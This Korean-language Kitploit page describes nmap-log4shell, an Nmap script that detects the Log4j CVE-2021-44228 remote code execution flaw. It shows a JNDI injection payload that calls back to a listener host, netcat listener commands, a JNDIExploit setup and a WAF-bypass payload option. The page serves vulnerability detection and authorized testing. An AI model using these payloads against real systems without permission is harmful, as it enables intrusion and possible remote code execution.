Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
nmap-log4shell — Apache Log4j RCE(CVE-2021-44228) 탐지를 위한 Nmap Log4Shell NSE 스크립트 | Kitploit
도구/GitHubGitHub/giterlizzi/nmap-log4shell
Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationWAF BypassNetwork SecurityPenetration Testing
GitHubgiterlizzi/nmap-log4shell

nmap-log4shell

Apache Log4j RCE(CVE-2021-44228) 탐지를 위한 Nmap Log4Shell NSE 스크립트

저장소 보기
78204년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Apache Log4j RCE(CVE-2021-44228) 탐지를 위한 Nmap Log4Shell NSE 스크립트

nmap-log4shell은 네트워크 전반에 걸쳐 Apache Log4j RCE(CVE-2021-44228) 취약점을 탐지하기 위한 NSE 스크립트입니다. 이 스크립트는 HTTP 헤더(기본값) 또는 TCP/UDP 소켓을 통해 log4shell 악용 페이로드를 주입할 수 있습니다.

취약점

CVE-2021-44228은 Apache Log4j 2의 원격 코드 실행(RCE) 취약점입니다. 인증되지 않은 원격 공격자는 취약한 버전의 log4j를 실행하는 서버에 특수하게 조작된 요청을 전송하여 이 결함을 악용할 수 있습니다. 조작된 요청은 다음을 포함한 다양한 서비스를 통해 JNDI(Java Naming and Directory Interface) 주입을 사용합니다:

  • 경량 디렉터리 액세스 프로토콜(LDAP)
  • 보안 LDAP(LDAPS)
  • 원격 메서드 호출(RMI)
  • 도메인 이름 서비스(DNS)

취약한 서버가 요청을 기록하기 위해 log4j를 사용하는 경우, 악용 코드는 위 서비스 중 하나를 통해 JNDI로 공격자가 통제하는 서버에 악성 페이로드를 요청하게 됩니다. 성공적인 악용은 RCE로 이어질 수 있습니다.

설치

시스템에서 nmap 스크립트가 있는 위치를 찾으십시오:

  • *nix 시스템의 경우 ~/.nmap/scripts/ 또는 $NMAPDIR일 수 있습니다
  • Mac의 경우 /usr/local/Cellar/nmap/<version>/share/nmap/scripts/일 수 있습니다
  • Windows의 경우 C:\Program Files (x86)\Nmap\scripts일 수 있습니다

제공된 스크립트(log4shell.nse)를 해당 디렉터리에 복사한 다음 nmap --script-updatedb를 실행하여 nmap 스크립트 DB를 업데이트하십시오.

사용법

root@kitploit:~
nmap --script log4shell.nse --script-args log4shell.callback-server=172.17.42.1:1389 -p 8080 172.17.42.2 
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-13 21:26 CET
Nmap scan report for 172.17.42.1
Host is up (0.000096s latency).

PORT     STATE SERVICE
8080/tcp open  http-proxy
| log4shell: 
|   Payloads:
|     ${jndi:ldap:/172.17.42.1:389/log4shell}
|   Test Method: HTTP
|   URL Path: /
|   HTTP Method: GET
|   HTTP Headers: 
|     Access-Control-Request-Method: 200 
|     Accept: 200 
|     Access-Control-Request-Headers: 200 
|     Accept-Charset: 200 
|     X-Api-Version: 200 
|     Warning: 200 
|     Pragma: 200 
|     Upgrade-Insecure-Requests: 200 
|     Range,: 400 
|     Hostname: 200 
|     Content-Length: 400 
|     Dnt: 200 
|     Date: 200 
|     Username: 200 
|     Content-Encoding: 200 
|     Content-Type: 200 
|     Forwarded: 200 
|     Max-Forwards: 200 
|     Accept-Encoding: 200 
|     Referer: 200 
|     IP: 200 
|     IPaddress: 200 
|     X-Amz-Date: 200 
|     X-Amz-Target: 200 
|     TE: 200 
|     Content-Disposition: 200 
|     X-Requested-With: 200 
|     upgrade-insecure-requests: 200 
|     Authorization: 200 
|     Cookie: 200 
|     User-Agent: 200 
|     Accept-Language: 200 
|     Proxy-Authorization: 200 
|     Expect: 417 
|     From: 200 
|     Accept-Datetime: 200 
|     X-CSRF-Token: 200 
|     Origin: 200 
|_  Note: (!) Inspect the callback server (172.17.42.1:389) or web-application (172.17.42.2:8080) logs

인수

  • log4shell.callback-server: 콜백 서버(예: 172.17.42.1:1389)
  • log4shell.http-headers: 쉼표로 구분된 HTTP 헤더 목록(예: X-Api-Version,User-Agent,Referer)
  • log4shell.http-method: HTTP 메서드(기본값: GET)
  • log4shell.url-path: URL 경로(기본값: /)
  • log4shell.waf-bypass: WAF 우회 페이로드 사용(기본값: false)
  • log4shell.test-method: http(기본값), tcp, udp 또는 을 통해 테스트

콜백 서버

이 스크립트는 스캔 대상의 콜백에 의존하므로 방화벽 규칙이나 다른 보안 장비와의 상호 작용이 스크립트의 효과에 영향을 미칠 수 있습니다.

Netcat 또는 Ncat

netcat(또는 ncat)으로 TCP 포트를 수신 대기합니다:

root@kitploit:~
ncat -vkl 1389   # Ncat
nc -lvnp 1389    # Netcat

--script log4shell.nse 스크립트로 Nmap 실행

root@kitploit:~
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>

netcat(또는 ncat) 출력에서 대상 IP 주소를 확인합니다:

root@kitploit:~
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:38898.

JNDIExploit

GitHub에서 JNDIExploit 다운로드(https://github.com/giterlizzi/JNDIExploit/releases/download/v1.2/JNDIExploit.zip)

JNDIExploit 서버 시작:

root@kitploit:~
java -jar JNDIExploit.jar

--script log4shell.nse 스크립트로 Nmap 실행

root@kitploit:~
nmap --script log4shell.nse [--script-args log4shell.callback-server=127.0.0.1:1389] [-p <port>] <target>

수신된 LDAP 쿼리를 확인하려면 JNDIExploit 출력을 확인하십시오

root@kitploit:~
[+] Received LDAP Query: log4shell
[!] Invalid LDAP Query: log4shell

법적 고지

이 프로젝트는 교육 및 윤리적 테스트 목적으로만 제작되었습니다. 사전 상호 동의 없이 대상을 공격하는 데 nmap-log4shell을 사용하는 것은 불법입니다. 모든 관련 지역, 주 및 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 이 프로그램으로 인한 오용이나 손해에 대해 어떠한 책임도 지지 않습니다.

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.

작성자

  • Giuseppe Di Terlizzi (giterlizzi)
도구 다운로드
all